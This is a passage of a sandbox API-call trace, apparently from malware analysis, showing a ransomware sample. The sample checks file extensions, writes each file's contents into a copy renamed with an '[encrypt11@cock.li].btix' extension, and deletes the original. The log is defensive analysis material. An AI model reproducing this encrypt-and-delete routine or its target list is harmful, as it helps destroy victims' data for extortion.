lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.653] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0043.653] lstrlenW (lpString=".jpg") returned 4 [0043.653] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.653] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0043.653] lstrlenW (lpString="LocalizedData.xml") returned 17 [0043.653] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0043.653] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=79296) returned 1 [0043.653] CloseHandle (hObject=0x364) returned 1 [0043.653] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 0x80 [0043.653] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.653] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0043.653] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0043.653] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0043.653] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0043.654] GetLastError () returned 0x0 [0043.654] ReadFile (in: hFile=0x364, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x135c0, lpOverlapped=0x0) returned 1 [0043.746] WriteFile (in: hFile=0x318, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x135d0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x135d0, lpOverlapped=0x0) returned 1 [0043.748] ReadFile (in: hFile=0x364, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0043.748] WriteFile (in: hFile=0x318, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xf6, lpOverlapped=0x0) returned 1 [0043.748] SetEndOfFile (hFile=0x318) returned 1 [0043.749] CloseHandle (hObject=0x318) returned 1 [0043.750] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0043.750] SetEndOfFile (hFile=0x364) returned 1 [0043.751] CloseHandle (hObject=0x364) returned 1 [0043.751] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.752] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 1 [0043.752] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0043.752] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0043.752] lstrlenW (lpString=".doc") returned 4 [0043.752] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.752] lstrlenW (lpString=".docx") returned 5 [0043.752] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0043.752] lstrlenW (lpString=".pdf") returned 4 [0043.752] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.752] lstrlenW (lpString=".xls") returned 4 [0043.752] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.752] lstrlenW (lpString=".xlsx") returned 5 [0043.752] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0043.752] lstrlenW (lpString=".ppt") returned 4 [0043.752] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.752] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0043.752] lstrlenW (lpString=".zip") returned 4 [0043.752] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.752] lstrlenW (lpString=".rar") returned 4 [0043.752] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.752] lstrlenW (lpString=".bz2") returned 4 [0043.752] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.752] lstrlenW (lpString=".7z") returned 3 [0043.752] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.752] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0043.752] lstrlenW (lpString=".dbf") returned 4 [0043.753] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.753] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0043.753] lstrlenW (lpString=".1cd") returned 4 [0043.753] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.753] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0043.753] lstrlenW (lpString=".jpg") returned 4 [0043.753] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.753] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0043.753] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0043.753] lstrlenW (lpString=".doc") returned 4 [0043.753] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.753] lstrlenW (lpString=".docx") returned 5 [0043.753] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0043.753] lstrlenW (lpString=".pdf") returned 4 [0043.753] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.753] lstrlenW (lpString=".xls") returned 4 [0043.753] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.753] lstrlenW (lpString=".xlsx") returned 5 [0043.753] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0043.753] lstrlenW (lpString=".ppt") returned 4 [0043.753] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.753] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0043.753] lstrlenW (lpString=".zip") returned 4 [0043.753] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.753] lstrlenW (lpString=".rar") returned 4 [0043.753] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.753] lstrlenW (lpString=".bz2") returned 4 [0043.753] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.753] lstrlenW (lpString=".7z") returned 3 [0043.753] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.753] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0043.753] lstrlenW (lpString=".dbf") returned 4 [0043.753] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.753] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0043.753] lstrlenW (lpString=".1cd") returned 4 [0043.754] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.754] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0043.754] lstrlenW (lpString=".jpg") returned 4 [0043.754] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.754] lstrcmpiW (lpString1=".rtf", lpString2=".btix") returned 1 [0043.754] lstrlenW (lpString="eula.rtf") returned 8 [0043.754] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0043.755] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=54456) returned 1 [0043.755] CloseHandle (hObject=0x364) returned 1 [0043.755] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 0x80 [0043.755] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.755] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0043.755] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0043.755] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0043.755] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0043.755] GetLastError () returned 0x0 [0043.755] ReadFile (in: hFile=0x364, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0xd4b8, lpOverlapped=0x0) returned 1 [0044.142] WriteFile (in: hFile=0x318, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xd4c0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xd4c0, lpOverlapped=0x0) returned 1 [0044.144] ReadFile (in: hFile=0x364, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0044.144] WriteFile (in: hFile=0x318, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xe4, lpOverlapped=0x0) returned 1 [0044.144] SetEndOfFile (hFile=0x318) returned 1 [0044.144] CloseHandle (hObject=0x318) returned 1 [0044.145] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0044.145] SetEndOfFile (hFile=0x364) returned 1 [0044.148] CloseHandle (hObject=0x364) returned 1 [0044.148] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0044.148] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 1 [0044.148] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0044.148] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0044.148] lstrlenW (lpString=".doc") returned 4 [0044.148] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0044.148] lstrlenW (lpString=".docx") returned 5 [0044.148] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0044.149] lstrlenW (lpString=".pdf") returned 4 [0044.149] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0044.149] lstrlenW (lpString=".xls") returned 4 [0044.149] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0044.149] lstrlenW (lpString=".xlsx") returned 5 [0044.149] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0044.149] lstrlenW (lpString=".ppt") returned 4 [0044.149] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0044.149] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0044.149] lstrlenW (lpString=".zip") returned 4 [0044.149] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0044.149] lstrlenW (lpString=".rar") returned 4 [0044.149] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0044.149] lstrlenW (lpString=".bz2") returned 4 [0044.149] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0044.149] lstrlenW (lpString=".7z") returned 3 [0044.149] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0044.149] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0044.149] lstrlenW (lpString=".dbf") returned 4 [0044.149] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0044.149] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0044.149] lstrlenW (lpString=".1cd") returned 4 [0044.149] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0044.149] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0044.149] lstrlenW (lpString=".jpg") returned 4 [0044.149] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0044.149] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0044.149] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0044.149] lstrlenW (lpString=".doc") returned 4 [0044.149] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0044.150] lstrlenW (lpString=".docx") returned 5 [0044.150] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0044.150] lstrlenW (lpString=".pdf") returned 4 [0044.150] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0044.150] lstrlenW (lpString=".xls") returned 4 [0044.150] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0044.150] lstrlenW (lpString=".xlsx") returned 5 [0044.150] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0044.150] lstrlenW (lpString=".ppt") returned 4 [0044.150] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0044.150] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0044.150] lstrlenW (lpString=".zip") returned 4 [0044.150] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0044.150] lstrlenW (lpString=".rar") returned 4 [0044.150] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0044.150] lstrlenW (lpString=".bz2") returned 4 [0044.150] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0044.150] lstrlenW (lpString=".7z") returned 3 [0044.150] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0044.150] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0044.150] lstrlenW (lpString=".dbf") returned 4 [0044.150] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0044.150] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0044.150] lstrlenW (lpString=".1cd") returned 4 [0044.150] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0044.150] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0044.150] lstrlenW (lpString=".jpg") returned 4 [0044.150] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0044.151] lstrcmpiW (lpString1=".html", lpString2=".btix") returned 1 [0044.151] lstrlenW (lpString="DHtmlHeader.html") returned 16 [0044.151] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0044.151] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=16118) returned 1 [0044.151] CloseHandle (hObject=0x364) returned 1 [0044.151] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 0x80 [0044.151] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0044.151] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0044.151] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0044.151] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0044.151] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0044.151] GetLastError () returned 0x0 [0044.151] ReadFile (in: hFile=0x364, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x3ef6, lpOverlapped=0x0) returned 1 [0044.215] WriteFile (in: hFile=0x318, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x3f00, lpOverlapped=0x0) returned 1 [0044.215] ReadFile (in: hFile=0x364, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0044.216] WriteFile (in: hFile=0x318, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xf4, lpOverlapped=0x0) returned 1 [0044.216] SetEndOfFile (hFile=0x318) returned 1 [0044.216] CloseHandle (hObject=0x318) returned 1 [0044.217] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0044.217] SetEndOfFile (hFile=0x364) returned 1 [0044.218] CloseHandle (hObject=0x364) returned 1 [0044.218] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0044.218] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 1 [0044.218] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0044.218] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0044.218] lstrlenW (lpString=".doc") returned 4 [0044.218] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0044.218] lstrlenW (lpString=".docx") returned 5 [0044.218] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0044.218] lstrlenW (lpString=".pdf") returned 4 [0044.218] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0044.218] lstrlenW (lpString=".xls") returned 4 [0044.218] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0044.218] lstrlenW (lpString=".xlsx") returned 5 [0044.218] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0044.219] lstrlenW (lpString=".ppt") returned 4 [0044.219] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0044.219] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0044.219] lstrlenW (lpString=".zip") returned 4 [0044.219] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0044.219] lstrlenW (lpString=".rar") returned 4 [0044.219] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0044.219] lstrlenW (lpString=".bz2") returned 4 [0044.219] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0044.219] lstrlenW (lpString=".7z") returned 3 [0044.219] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0044.219] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0044.219] lstrlenW (lpString=".dbf") returned 4 [0044.219] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0044.219] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0044.219] lstrlenW (lpString=".1cd") returned 4 [0044.219] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0044.219] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0044.219] lstrlenW (lpString=".jpg") returned 4 [0044.219] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0044.219] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0044.219] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0044.219] lstrlenW (lpString=".doc") returned 4 [0044.219] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0044.219] lstrlenW (lpString=".docx") returned 5 [0044.219] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0044.219] lstrlenW (lpString=".pdf") returned 4 [0044.219] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0044.219] lstrlenW (lpString=".xls") returned 4 [0044.219] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0044.219] lstrlenW (lpString=".xlsx") returned 5 [0044.219] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0044.219] lstrlenW (lpString=".ppt") returned 4 [0044.219] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0044.220] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0044.220] lstrlenW (lpString=".zip") returned 4 [0044.220] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0044.220] lstrlenW (lpString=".rar") returned 4 [0044.220] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0044.220] lstrlenW (lpString=".bz2") returned 4 [0044.220] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0044.220] lstrlenW (lpString=".7z") returned 3 [0044.220] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0044.220] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0044.220] lstrlenW (lpString=".dbf") returned 4 [0044.220] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0044.220] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0044.220] lstrlenW (lpString=".1cd") returned 4 [0044.220] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0044.220] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0044.220] lstrlenW (lpString=".jpg") returned 4 [0044.220] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0044.220] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0044.220] lstrlenW (lpString="UiInfo.xml") returned 10 [0044.220] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0044.220] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=39050) returned 1 [0044.220] CloseHandle (hObject=0x364) returned 1 [0044.220] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 0x80 [0044.221] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0044.221] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0044.221] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0044.221] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0044.221] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0044.259] GetLastError () returned 0x0 [0044.259] ReadFile (in: hFile=0x364, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x988a, lpOverlapped=0x0) returned 1 [0044.331] WriteFile (in: hFile=0x320, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x9890, lpOverlapped=0x0) returned 1 [0044.387] ReadFile (in: hFile=0x364, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, 